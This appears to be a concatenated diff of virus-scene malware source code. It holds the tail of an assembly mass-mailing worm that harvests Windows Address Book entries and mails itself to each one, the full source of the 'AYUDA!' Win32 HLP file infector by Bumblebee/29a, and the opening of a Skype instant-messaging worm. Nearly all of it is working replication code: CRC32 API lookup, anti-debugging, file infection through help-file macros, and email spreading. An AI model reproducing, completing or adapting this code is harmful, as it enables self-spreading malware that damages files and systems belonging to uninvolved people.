||||
jmp @F
|
||||
mappedFile dd 0
|
||||
mapHandle dd 0
|
||||
fileHandle dd 0
|
||||
addrbuf db 256 dup (?)
|
||||
@@:
|
||||
|
||||
xor eax,eax
|
||||
call @F
|
||||
phkWABKey dd 0
|
||||
@@:
|
||||
push KEY_ALL_ACCESS
|
||||
push eax
|
||||
call @F
|
||||
db "Software\Microsoft\WAB\WAB4\Wab File Name",0
|
||||
@@:
|
||||
push HKEY_CURRENT_USER
|
||||
call RegOpenKeyEx
|
||||
|
||||
xor eax,eax
|
||||
call @F
|
||||
dd 0000007Fh
|
||||
@@:
|
||||
push offset wabfile
|
||||
push eax
|
||||
push eax
|
||||
push eax ; null for (default)
|
||||
push dword ptr [phkWABKey]
|
||||
call RegQueryValueEx
|
||||
push dword ptr [phkWABKey]
|
||||
call RegCloseKey
|
||||
|
||||
push 0
|
||||
push 0
|
||||
push 3
|
||||
push 0
|
||||
push 1
|
||||
push 80000000h
|
||||
call @F
|
||||
wabfile db 128 dup (?)
|
||||
@@:
|
||||
call CreateFile
|
||||
|
||||
mov fileHandle,eax
|
||||
xchg eax,ebx
|
||||
|
||||
or ebx,ebx
|
||||
jz leavewab
|
||||
|
||||
push 0
|
||||
push ebx
|
||||
call GetFileSize
|
||||
mov esi,eax
|
||||
|
||||
push 0
|
||||
push esi
|
||||
push 0
|
||||
push PAGE_READONLY
|
||||
push 0
|
||||
push ebx
|
||||
call CreateFileMapping
|
||||
mov mapHandle,eax
|
||||
xchg eax,ebx
|
||||
|
||||
or ebx,ebx
|
||||
jz leavewab
|
||||
|
||||
push esi
|
||||
push 0
|
||||
push 0
|
||||
push FILE_MAP_READ
|
||||
push ebx
|
||||
call MapViewOfFile
|
||||
mov mappedFile,eax
|
||||
xchg eax,ebx
|
||||
|
||||
or ebx,ebx
|
||||
jz leavewab
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Find the addresses
|
||||
; EBX=Base address
|
||||
mov esi,ebx
|
||||
mov ecx,[esi+64h] ; number of addies
|
||||
add esi,[esi+60h] ; points to first address
|
||||
looperz:
|
||||
push esi
|
||||
lea edi,Recipient
|
||||
push edi
|
||||
lop:
|
||||
lodsw
|
||||
stosb
|
||||
or al,al
|
||||
jnz lop
|
||||
pop ebx
|
||||
|
||||
sub edi,ebx
|
||||
mov sizeRecip,EDI
|
||||
|
||||
pop esi
|
||||
add esi,044h
|
||||
|
||||
PUSHAD
|
||||
CALL SendWorm ; send the worm out!
|
||||
POPAD
|
||||
|
||||
push ecx
|
||||
lea edi,Recipient
|
||||
xor al,al
|
||||
mov ecx,256
|
||||
rep stosb
|
||||
pop ecx
|
||||
|
||||
dec ecx
|
||||
jecxz leavewab
|
||||
jmp looperz
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
leavewab:
|
||||
invoke UnmapViewOfFile,mappedFile
|
||||
invoke CloseHandle,mapHandle
|
||||
invoke CloseHandle,fileHandle
|
||||
|
||||
ret
|
||||
WABFindAddies ENDP
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Thread procedures
|
||||
thread1 proc
|
||||
mov al,'c'
|
||||
lea edi,fr
|
||||
stosb
|
||||
mov ax,'\:'
|
||||
stosw
|
||||
sub edi,3
|
||||
isdriveok:
|
||||
push edi
|
||||
call GetDriveType
|
||||
cmp al,03h
|
||||
jnz nextdrive
|
||||
|
||||
mov byte ptr [edi+2],00h
|
||||
|
||||
jmp SearchZIP ; we dont even need a ret!
|
||||
|
||||
nextdrive:
|
||||
cmp al,"z"
|
||||
jz enddrive
|
||||
inc byte ptr [edi]
|
||||
jmp isdriveok
|
||||
enddrive:
|
||||
ret
|
||||
thread1 endp
|
||||
|
||||
thread2 proc
|
||||
pop eax ; dont need param
|
||||
mov [esp],eax
|
||||
call WABFindAddies
|
||||
xor eax,eax
|
||||
ret
|
||||
thread2 endp
|
||||
end start
|
||||
@@ -0,0 +1,792 @@
|
||||
|
||||
;
|
||||
; AYUDA! coded by Bumblebee/29a
|
||||
; the generic HLP infector (tm)
|
||||
;
|
||||
; AYUDA is the spanish word for help. If you need 'ayuda' infecting hlp
|
||||
; files this is the source you're looking for ;)
|
||||
; But keep in mind that AYUDA is not equal to tutorial!
|
||||
;
|
||||
; Disclaimer:
|
||||
;
|
||||
; . This is the source code of a VIRUS. The author is not
|
||||
; responsabile of any damage that may occur due to the assembly
|
||||
; of this file. Pontius Pilate is washing his hands ;)
|
||||
;
|
||||
; Features:
|
||||
;
|
||||
; . Takes control directly from the hlp file using macros and the
|
||||
; EnumWindows function. The virus body is stored in the call.
|
||||
; . Searches for the required APIs using CRCs instead of names.
|
||||
; . Uses SEH.
|
||||
; . Infects hlp files adding a EnumWindows call in the system file
|
||||
; and plazing this new system at the end of file.
|
||||
; . Uses size padding as infection sign.
|
||||
;
|
||||
; Hlp infection brief:
|
||||
;
|
||||
; . The hlp infection is so easy. First you must understand the
|
||||
; internal format of hlp files: is like a pakaged file system.
|
||||
; Yeah! There are directories, files and so. Once you have this
|
||||
; part there is another point you must take into account: how to
|
||||
; give control to the virus. The solution that AYUDA exploits is
|
||||
; that WinHlp32 let us say the kind of parameters an imported API
|
||||
; will use. So if you look for any function with callback features
|
||||
; (all the enum functions), you can change the parameter that uses
|
||||
; the address of code to be executed by a string. An this string
|
||||
; will be the virus code. WinHlp32 allocates memory for the string
|
||||
; (a string is a pointer to a vector of chars) and passes that
|
||||
; address to the enum function. Once you have the control you must
|
||||
; execute the code... and that's all? NOPE! Your virus code MUST
|
||||
; be a string! So you need to change the code to fit in the string
|
||||
; required by WinHlp32. At this case i've encoded the virus in a
|
||||
; way that allows to change the code to make WinHlp32 happy and
|
||||
; later restore it for normal execution. The virus generates some
|
||||
; code that pushes the entire virus into the stack. This code it's
|
||||
; ok for WinHlp32 (avoids on its body some characters) and when
|
||||
; executes restores the whole virus into the stack and the jumps
|
||||
; there, does its work, fixes the stack and returns ending the
|
||||
; callback process.
|
||||
; I think that with this little explanation and the full commented
|
||||
; source you'll be able to understand this kind of infection.
|
||||
;
|
||||
; Excuse my english!
|
||||
;
|
||||
; The way of the bee
|
||||
;
|
||||
;
|
||||
; Description from:
|
||||
; http://www.viruslist.com/eng/viruslist.asp?id=3981&key=000010000800002
|
||||
; from AVP.
|
||||
;
|
||||
; WinHLP.Pluma
|
||||
;
|
||||
;
|
||||
; This is Windows32 HLP files infector, it does function and replicate as
|
||||
; a Windows Help script embedded in help file structure. See also WinHLP.Demo
|
||||
; and Win95.SK".
|
||||
;
|
||||
; When infected HLP file is opened, the Windows Help system processes virus
|
||||
; script and executes all functions placed there. By using a trick the virus
|
||||
; forces Help system to execute a specially prepared data as binary Windows32
|
||||
; program, these data are included in one of instructions in the virus
|
||||
; script. These data themselves are the "start-up" routine that builds the
|
||||
; main infection routine and executes it. The infection routine is a valid
|
||||
; Windows32 procedure, and it is executed as a Windows32 application.
|
||||
;
|
||||
; When infection routine takes control, it scans Windows kernel (KERNEL32.DLL
|
||||
; image loaded in Windows memory) in usual for Win32 executable files
|
||||
; parasitic infectors, and gets addresses of necessary Windows functions
|
||||
; from there. The infection routine then looks for all Windows Help files in
|
||||
; the current directory, and infects them all.
|
||||
;
|
||||
; While infecting the virus modifies internal HLP file structure, adds its
|
||||
; script to the "SYSTEM" area, converts its code to start-up routine and
|
||||
; includes it into the script.
|
||||
;
|
||||
; The virus does not manifest itself in any way. It contains the text
|
||||
; strings:
|
||||
;
|
||||
; < AYUDA! Coded by Bumblebee/29a >
|
||||
; Cumpliendo con mi oficio
|
||||
; piedra con piedra, pluma a pluma,
|
||||
; pasa el invierno y deja
|
||||
; sitios abandonados
|
||||
; habitaciones muertas:
|
||||
; yo trabajo y trabajo,
|
||||
; debo substituir tantos olvidos,
|
||||
; llenar de pan las tinieblas,
|
||||
; fundar otra vez la esperanza.
|
||||
;
|
||||
;
|
||||
|
||||
.486p
|
||||
.model flat
|
||||
locals
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
HLPHEADER struc
|
||||
hhMagic dd ?
|
||||
hhDirectoryStart dd ?
|
||||
hhNonDirectoryStart dd ?
|
||||
hhEntireFileSize dd ?
|
||||
HLPHEADER ends
|
||||
|
||||
HLPFILEHEADER struc
|
||||
fhReservedSpace dd ?
|
||||
fhUsedSpace dd ?
|
||||
fhFileFlags db ?
|
||||
HLPFILEHEADER ends
|
||||
|
||||
BTREEHEADER struct
|
||||
bthMagic dw ?
|
||||
bthFlags dw ?
|
||||
bthPageSize dw ?
|
||||
bthStructure db 10h dup(?)
|
||||
bthMustBeZero dw ?
|
||||
bthPageSplits dw ?
|
||||
bthRootPage dw ?
|
||||
bthMustBeNegOne dw ?
|
||||
bthTotalPages dw ?
|
||||
bthNLeves dw ?
|
||||
bthTotalEntries dd ?
|
||||
BTREEHEADER ends
|
||||
|
||||
; from BC++ Win32 API on-line Reference
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd 0
|
||||
dwLowDateTime0 dd ? ; creation
|
||||
dwHigDateTime0 dd ?
|
||||
dwLowDateTime1 dd ? ; last access
|
||||
dwHigDateTime1 dd ?
|
||||
dwLowDateTime2 dd ? ; last write
|
||||
dwHigDateTime2 dd ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved dd 0,0
|
||||
cFileName db 260 dup(0)
|
||||
cAlternateFilename db 14 dup(0)
|
||||
db 2 dup(0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
K32WIN9X equ 0bff70000h ; Windows 95/98
|
||||
vSize equ vEnd-vBegin ; size of the baby
|
||||
PADDING equ 7 ; infection sign
|
||||
|
||||
.DATA
|
||||
|
||||
dummy db 'WARNING - This is a virus laucher - WARNING'
|
||||
|
||||
.CODE
|
||||
|
||||
inicio:
|
||||
push eax ; simulate the callback for
|
||||
push eax ; 1st generation
|
||||
push offset goOut
|
||||
sub esp,((vSize/2)+1)*2 ; why i'm doing this? ;)
|
||||
jmp virusBegin
|
||||
|
||||
goOut:
|
||||
push 0h
|
||||
call ExitProcess
|
||||
|
||||
vBegin label byte
|
||||
virusBegin:
|
||||
|
||||
pushad ; save all regs
|
||||
|
||||
call delta ; get delta offset
|
||||
delta:
|
||||
pop ebp
|
||||
sub ebp,offset delta
|
||||
|
||||
lea eax,dword ptr [esp-8h] ; setup SEH
|
||||
xor edi,edi
|
||||
xchg eax,dword ptr fs:[edi]
|
||||
lea edi,exception+ebp
|
||||
push edi
|
||||
push eax
|
||||
|
||||
mov esi,K32WIN9X ; fixed addr of the K32
|
||||
cmp word ptr [esi],'ZM' ; K32! are you there?
|
||||
jne quitSEH
|
||||
|
||||
; little anti-debug trick
|
||||
xor edi,edi
|
||||
add esi,dword ptr fs:[edi+20h]
|
||||
|
||||
; Get APIs stuff with CRC32 instead of names...
|
||||
mov esi,dword ptr [esi+3ch]
|
||||
add esi,K32WIN9X
|
||||
mov esi,dword ptr [esi+78h]
|
||||
add esi,K32WIN9X
|
||||
add esi,1ch
|
||||
|
||||
lodsd
|
||||
add eax,K32WIN9X
|
||||
mov dword ptr [address+ebp],eax
|
||||
lodsd
|
||||
add eax,K32WIN9X
|
||||
mov dword ptr [names+ebp],eax
|
||||
lodsd
|
||||
add eax,K32WIN9X
|
||||
mov dword ptr [ordinals+ebp],eax
|
||||
|
||||
sub esi,16
|
||||
lodsd
|
||||
mov dword ptr [nexports+ebp],eax
|
||||
|
||||
xor edx,edx
|
||||
mov dword ptr [expcount+ebp],edx
|
||||
lea eax,FSTAPI+ebp
|
||||
|
||||
searchl:
|
||||
mov esi,dword ptr [names+ebp]
|
||||
add esi,edx
|
||||
mov esi,dword ptr [esi]
|
||||
add esi,K32WIN9X
|
||||
push eax edx
|
||||
movzx di,byte ptr [eax+4]
|
||||
call CRC32
|
||||
xchg ebx,eax
|
||||
pop edx eax
|
||||
cmp ebx,dword ptr [eax]
|
||||
je fFound
|
||||
add edx,4
|
||||
inc dword ptr [expcount+ebp]
|
||||
push edx
|
||||
mov edx,dword ptr [expcount+ebp]
|
||||
cmp dword ptr [nexports+ebp],edx
|
||||
pop edx
|
||||
je quitSEH
|
||||
jmp searchl
|
||||
fFound:
|
||||
shr edx,1
|
||||
add edx,dword ptr [ordinals+ebp]
|
||||
xor ebx,ebx
|
||||
mov bx,word ptr [edx]
|
||||
shl ebx,2
|
||||
add ebx,dword ptr [address+ebp]
|
||||
mov ecx,dword ptr [ebx]
|
||||
add ecx,K32WIN9X
|
||||
|
||||
mov dword ptr [eax+5],ecx
|
||||
add eax,9
|
||||
xor edx,edx
|
||||
mov dword ptr [expcount+ebp],edx
|
||||
lea ecx,ENDAPI+ebp
|
||||
cmp eax,ecx
|
||||
jb searchl
|
||||
|
||||
; infect all the hlp files in current directory
|
||||
lea esi,find_data+ebp
|
||||
push esi
|
||||
lea esi,hlpMask+ebp
|
||||
push esi
|
||||
call dword ptr [_FindFirstFileA+ebp]
|
||||
inc eax
|
||||
jz quitSEH
|
||||
dec eax
|
||||
|
||||
mov dword ptr [findHnd+ebp],eax
|
||||
|
||||
findNext:
|
||||
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
|
||||
mov ecx,PADDING ; test if it's infected
|
||||
xor edx,edx ; yet
|
||||
div ecx
|
||||
or edx,edx ; reminder is zero?
|
||||
jz skipThisFile
|
||||
|
||||
lea esi,find_data.cFileName+ebp
|
||||
call infect
|
||||
|
||||
skipThisFile:
|
||||
lea esi,find_data+ebp
|
||||
push esi
|
||||
push dword ptr [findHnd+ebp]
|
||||
call dword ptr [_FindNextFileA+ebp] ; Find next file
|
||||
or eax,eax
|
||||
jnz findNext
|
||||
|
||||
push dword ptr [findHnd+ebp]
|
||||
call dword ptr [_FindClose+ebp] ; close find handle
|
||||
|
||||
quitSEH:
|
||||
xor esi,esi ; quit SEH
|
||||
pop dword ptr fs:[esi]
|
||||
pop eax
|
||||
|
||||
popad
|
||||
add esp,((vSize/2)+1)*2 ; fix stack
|
||||
xor eax,eax ; return FALSE
|
||||
ret 8 ; pop the args of the call
|
||||
; (are two: 2*4=8 bytes)
|
||||
|
||||
exception:
|
||||
xor esi,esi ; we are not under
|
||||
mov eax,dword ptr fs:[esi] ; win9x... a pitty
|
||||
mov esp,dword ptr [eax]
|
||||
jmp quitSEH
|
||||
|
||||
;
|
||||
; does the hlp infection
|
||||
; IN: esi addr of file name
|
||||
;
|
||||
infect:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 80h
|
||||
push 3h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h OR 40000000h
|
||||
push esi
|
||||
call dword ptr [_CreateFileA+ebp]
|
||||
inc eax
|
||||
jz errorOut
|
||||
dec eax
|
||||
|
||||
mov dword ptr [fHnd+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 4h
|
||||
push eax
|
||||
push dword ptr [fHnd+ebp]
|
||||
call dword ptr [_CreateFileMappingA+ebp]
|
||||
or eax,eax
|
||||
jc errorOutClose
|
||||
|
||||
mov dword ptr [mfHnd+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 00000004h OR 00000002h
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_MapViewOfFile+ebp]
|
||||
or eax,eax
|
||||
jz errorOutCloseMap
|
||||
|
||||
; here begins the hlp infection stuff
|
||||
|
||||
; save begin of hlp header
|
||||
mov edi,eax
|
||||
|
||||
; check is a valid HLP file
|
||||
cmp dword ptr [edi.hhMagic],00035f3fh
|
||||
jne notNiceHlp
|
||||
|
||||
; get file size information in the header (not the same than
|
||||
; 'file in disk' size)
|
||||
mov ecx,dword ptr [eax.hhEntireFileSize]
|
||||
mov dword ptr [fileSize+ebp],ecx
|
||||
|
||||
; goto directory start
|
||||
add edi,dword ptr [edi.hhDirectoryStart]
|
||||
add edi,size HLPFILEHEADER
|
||||
; check is a valid directory
|
||||
cmp word ptr [edi],293bh
|
||||
jne notNiceHlp
|
||||
; i don't want indexed data, so only one level b-trees
|
||||
; are nice for me ;)
|
||||
cmp word ptr [edi.bthNLeves],1
|
||||
jne notNiceHlp
|
||||
|
||||
; scan for |SYSTEM directory.
|
||||
; search 512 bytes into the b-tree and ignore the internal
|
||||
; structures of b-tree.
|
||||
add edi,size BTREEHEADER
|
||||
mov ecx,200h
|
||||
|
||||
searchSystemDir:
|
||||
cmp dword ptr [edi],'SYS|'
|
||||
je foundSystemDir
|
||||
inc edi
|
||||
loop searchSystemDir
|
||||
jmp notNiceHlp
|
||||
|
||||
foundSystemDir:
|
||||
; as i only infect non-indexed hlp files, i'm sure the
|
||||
; data that follows the |SYSTEM zstring is the offset of
|
||||
; the directory. 1st skip the zstring
|
||||
add edi,8
|
||||
; now goto to the directory (offset from hlp header)
|
||||
; and set the new system directory at the end of file
|
||||
mov esi,dword ptr [fileSize+ebp]
|
||||
xchg esi,dword ptr [edi]
|
||||
mov edi,esi
|
||||
add edi,eax
|
||||
|
||||
; save begin of this file
|
||||
mov edx,edi
|
||||
add edi,size HLPFILEHEADER
|
||||
|
||||
; check is a system directory
|
||||
cmp word ptr [edi],036ch
|
||||
jne notNiceHlp
|
||||
|
||||
; check version
|
||||
mov esi,edi
|
||||
add esi,0ch
|
||||
cmp word ptr [edi+2],10h
|
||||
ja noTitleHere
|
||||
|
||||
; if has title, skip it (version <= 16)
|
||||
skipTitle:
|
||||
inc esi
|
||||
cmp byte ptr [esi-1],0
|
||||
je skipTitle
|
||||
noTitleHere:
|
||||
mov edi,esi
|
||||
|
||||
; get size of the directory
|
||||
mov esi,dword ptr [edx]
|
||||
|
||||
; the max size of the macro, just an aproximation
|
||||
add esi,((vSize/2)*10)+1000h
|
||||
|
||||
; alloc a temporary buffer
|
||||
pushad
|
||||
push 00000004h
|
||||
push 00001000h
|
||||
push esi
|
||||
push 0
|
||||
call dword ptr [_VirtualAlloc+ebp]
|
||||
or eax,eax
|
||||
jne bufferOk
|
||||
popad
|
||||
jmp notNiceHlp
|
||||
|
||||
bufferOk:
|
||||
mov dword ptr [mHnd+ebp],eax
|
||||
popad
|
||||
|
||||
; copy system directory plus our macro to the buffer
|
||||
|
||||
; 1st old system
|
||||
mov edi,dword ptr [mHnd+ebp]
|
||||
mov esi,edx
|
||||
mov ecx,dword ptr [edx]
|
||||
rep movsb
|
||||
|
||||
; begin 'our macro' generation
|
||||
; save mapped file handle
|
||||
push eax
|
||||
; save begin of our macros
|
||||
push edi
|
||||
lea esi,hlpMacro0+ebp
|
||||
mov ecx,hlpMacroSize0
|
||||
rep movsb
|
||||
|
||||
; generate the macro 'virus body' ;)
|
||||
; it sholud be more simple but... hehe
|
||||
lea ecx,vBegin+ebp
|
||||
lea esi,vEnd+ebp
|
||||
dec ecx
|
||||
dec esi
|
||||
getNext:
|
||||
cmp byte ptr [esi],0 ; those chars must be
|
||||
je fix ; changed 'cause they have
|
||||
cmp byte ptr [esi],22h ; a sentimental value
|
||||
je fix ; for winhlp32 in macroz
|
||||
cmp byte ptr [esi],27h
|
||||
je fix
|
||||
cmp byte ptr [esi],5ch
|
||||
je fix
|
||||
cmp byte ptr [esi],60h
|
||||
je fix
|
||||
mov al,0b4h
|
||||
mov ah,byte ptr [esi]
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDoneFix
|
||||
getNextInPair:
|
||||
cmp byte ptr [esi],0
|
||||
je fix2
|
||||
cmp byte ptr [esi],22h
|
||||
je fix2
|
||||
cmp byte ptr [esi],27h
|
||||
je fix2
|
||||
cmp byte ptr [esi],5ch
|
||||
je fix2
|
||||
cmp byte ptr [esi],60h
|
||||
je fix2
|
||||
mov al,0b0h
|
||||
mov ah,byte ptr [esi]
|
||||
stosw
|
||||
mov ax,5066h
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDone
|
||||
jmp getNext
|
||||
fix:
|
||||
mov al,0b4h
|
||||
mov ah,byte ptr [esi]
|
||||
dec ah
|
||||
stosw
|
||||
mov ax,0c4feh
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDoneFix
|
||||
jmp getNextInPair
|
||||
fix2:
|
||||
mov al,0b0h
|
||||
mov ah,byte ptr [esi]
|
||||
dec ah
|
||||
stosw
|
||||
mov ax,0c0feh
|
||||
stosw
|
||||
mov ax,5066h
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDone
|
||||
jmp getNext
|
||||
|
||||
macroDoneFix:
|
||||
mov al,0b0h
|
||||
mov ah,90h
|
||||
stosw
|
||||
mov ax,5066h
|
||||
stosw
|
||||
|
||||
macroDone:
|
||||
; end the macro
|
||||
lea esi,hlpMacro1+ebp
|
||||
mov ecx,hlpMacroSize1
|
||||
rep movsb
|
||||
|
||||
; fix the macro size
|
||||
pop esi ; get begin of macros
|
||||
mov ecx,edi ; end of macros
|
||||
sub ecx,esi ; size of macros
|
||||
sub ecx,offset macro1-hlpMacro
|
||||
; sub size of 1st macro and
|
||||
; and the header of 2nd
|
||||
mov word ptr [esi+offset macroSize-hlpMacro],cx
|
||||
; store it! (at its offset)
|
||||
pop eax
|
||||
|
||||
; into edi the size of the new system
|
||||
sub edi,dword ptr [mHnd+ebp]
|
||||
mov dword ptr [systemSize+ebp],edi
|
||||
|
||||
; fix directory size plus header
|
||||
mov edx,dword ptr [mHnd+ebp]
|
||||
mov dword ptr [edx],edi
|
||||
; fix directory size
|
||||
push edi
|
||||
sub edi,size HLPFILEHEADER
|
||||
mov dword ptr [edx+4],edi
|
||||
pop edi
|
||||
|
||||
; increase hlp file size
|
||||
add dword ptr [eax.hhEntireFileSize],edi
|
||||
; and save
|
||||
push dword ptr [eax.hhEntireFileSize]
|
||||
|
||||
push eax
|
||||
call dword ptr [_UnmapViewOfFile+ebp]
|
||||
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_CloseHandle+ebp]
|
||||
|
||||
; get new hlp file size
|
||||
pop eax
|
||||
; calculate size with padding
|
||||
mov ecx,PADDING
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
xor edx,edx
|
||||
mul ecx
|
||||
mov dword ptr [padSize+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push dword ptr [padSize+ebp]
|
||||
push eax
|
||||
push 4h
|
||||
push eax
|
||||
push dword ptr [fHnd+ebp]
|
||||
call dword ptr [_CreateFileMappingA+ebp]
|
||||
or eax,eax
|
||||
jc errorOutClose
|
||||
|
||||
mov dword ptr [mfHnd+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push dword ptr [padSize+ebp]
|
||||
push eax
|
||||
push eax
|
||||
push 00000004h OR 00000002h
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_MapViewOfFile+ebp]
|
||||
or eax,eax
|
||||
jz errorOutCloseMap
|
||||
|
||||
; add the modified system directory
|
||||
mov edi,eax
|
||||
add edi,dword ptr [fileSize+ebp]
|
||||
mov esi,dword ptr [mHnd+ebp]
|
||||
mov ecx,dword ptr [systemSize+ebp]
|
||||
rep movsb
|
||||
|
||||
push eax
|
||||
push 00008000h
|
||||
push 0h
|
||||
push dword ptr [mHnd+ebp]
|
||||
call dword ptr [_VirtualFree+ebp]
|
||||
pop eax
|
||||
|
||||
notNiceHlp:
|
||||
push eax
|
||||
call dword ptr [_UnmapViewOfFile+ebp]
|
||||
|
||||
errorOutCloseMap:
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_CloseHandle+ebp]
|
||||
|
||||
errorOutClose:
|
||||
push dword ptr [fHnd+ebp]
|
||||
call dword ptr [_CloseHandle+ebp]
|
||||
|
||||
errorOut:
|
||||
ret
|
||||
|
||||
;
|
||||
; CRC32
|
||||
;
|
||||
; IN: esi offset of data to do CRC32
|
||||
; edi size to do CRC32
|
||||
;
|
||||
; OUT:
|
||||
; eax CRC32
|
||||
;
|
||||
; Original routine by Vecna. Gracias!
|
||||
; This is one of these piezes of code that became essential to
|
||||
; the virus coder.
|
||||
;
|
||||
CRC32:
|
||||
cld
|
||||
xor ecx,ecx
|
||||
dec ecx
|
||||
mov edx,ecx
|
||||
push ebx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC:
|
||||
dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi
|
||||
jnz NextByteCRC
|
||||
pop ebx
|
||||
not edx
|
||||
not ecx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
ret
|
||||
|
||||
copyright db '< AYUDA! Coded by Bumblebee/29a >'
|
||||
|
||||
messForAvers db 0dh,0ah
|
||||
db 'Cumpliendo con mi oficio',0dh,0ah
|
||||
db 'piedra con piedra, pluma a pluma,',0dh,0ah
|
||||
db 'pasa el invierno y deja',0dh,0ah
|
||||
db 'sitios abandonados',0dh,0ah
|
||||
db 'habitaciones muertas:',0dh,0ah
|
||||
db 'yo trabajo y trabajo,',0dh,0ah
|
||||
db 'debo substituir tantos olvidos,',0dh,0ah
|
||||
db 'llenar de pan las tinieblas,',0dh,0ah
|
||||
db 'fundar otra vez la esperanza.',0dh,0ah
|
||||
|
||||
; CRC32 and plaze to store APIs used
|
||||
FSTAPI label byte
|
||||
CrcCreateFileA dd 08c892ddfh
|
||||
size0 db 12
|
||||
_CreateFileA dd 0
|
||||
|
||||
CrcMapViewOfFile dd 0797b49ech
|
||||
size1 db 14
|
||||
_MapViewOfFile dd 0
|
||||
|
||||
CrcCreatFileMappingA dd 096b2d96ch
|
||||
size2 db 19
|
||||
_CreateFileMappingA dd 0
|
||||
|
||||
CrcUnmapViewOfFile dd 094524b42h
|
||||
size3 db 16
|
||||
_UnmapViewOfFile dd 0
|
||||
|
||||
CrcCloseHandle dd 068624a9dh
|
||||
size4 db 12
|
||||
_CloseHandle dd 0
|
||||
|
||||
CrcFindFirstFileA dd 0ae17ebefh
|
||||
size5 db 15
|
||||
_FindFirstFileA dd 0
|
||||
|
||||
CrcFindNextFileA dd 0aa700106h
|
||||
size6 db 14
|
||||
_FindNextFileA dd 0
|
||||
|
||||
CrcFindClose dd 0c200be21h
|
||||
size7 db 10
|
||||
_FindClose dd 0
|
||||
|
||||
CrcVirtualAlloc dd 04402890eh
|
||||
size8 db 13
|
||||
_VirtualAlloc dd 0
|
||||
|
||||
CrcVirtualFree dd 02aad1211h
|
||||
size9 db 12
|
||||
_VirtualFree dd 0
|
||||
ENDAPI label byte
|
||||
|
||||
; data for the macro generation
|
||||
hlpMacroSize equ (endOfMacro1-hlpMacro)+vSize
|
||||
hlpMacro label byte
|
||||
hlpMacro0 db 4,0,macro0Ends-offset macro0,0
|
||||
macro0 db 'RR("USER32","EnumWindows","SU")',0
|
||||
macro0Ends label byte
|
||||
db 4,0
|
||||
macroSize dw ?
|
||||
macro1 db 'EnumWindows("'
|
||||
endOfMacro0 label byte
|
||||
hlpMacro1: jmp esp
|
||||
db '",0)',0
|
||||
endOfMacro1 label byte
|
||||
hlpMacroSize0 equ endOfMacro0-hlpMacro
|
||||
hlpMacroSize1 equ endOfMacro1-offset hlpMacro1
|
||||
|
||||
; several handles
|
||||
fHnd dd 0
|
||||
mfHnd dd 0
|
||||
mHnd dd 0
|
||||
; to store... erm
|
||||
fileSize dd 0
|
||||
; file size with padding
|
||||
padSize dd 0
|
||||
; the size of the generated system file
|
||||
systemSize dd 0
|
||||
; used into API search
|
||||
address dd 0
|
||||
names dd 0
|
||||
ordinals dd 0
|
||||
nexports dd 0
|
||||
expcount dd 0
|
||||
; for find files
|
||||
hlpMask db '*.hlp',0,0
|
||||
findHnd dd 0
|
||||
find_data WIN32_FIND_DATA <?>
|
||||
|
||||
vEnd label byte
|
||||
|
||||
ends
|
||||
end inicio
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
/***********************************************************************************************
|
||||
* I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to *
|
||||
* chat or to do VoIP call, so it is possible to use this program like a spreading vector. *
|
||||
* I tried to do direct file transfer but it didn't work so well, so I decided to send url *
|
||||
* to worm to the found users. *
|
||||
* This is only a demonstration, this is a direct action worm, it will work only if skype *
|
||||
* is installed. *
|
||||
* Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody *
|
||||
* on #vx-lab and #eof-project *
|
||||
* bye bye ... by WarGame *
|
||||
***********************************************************************************************/
|
||||
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
/* Global handlers */
|
||||
static UINT SkypeAttach;
|
||||
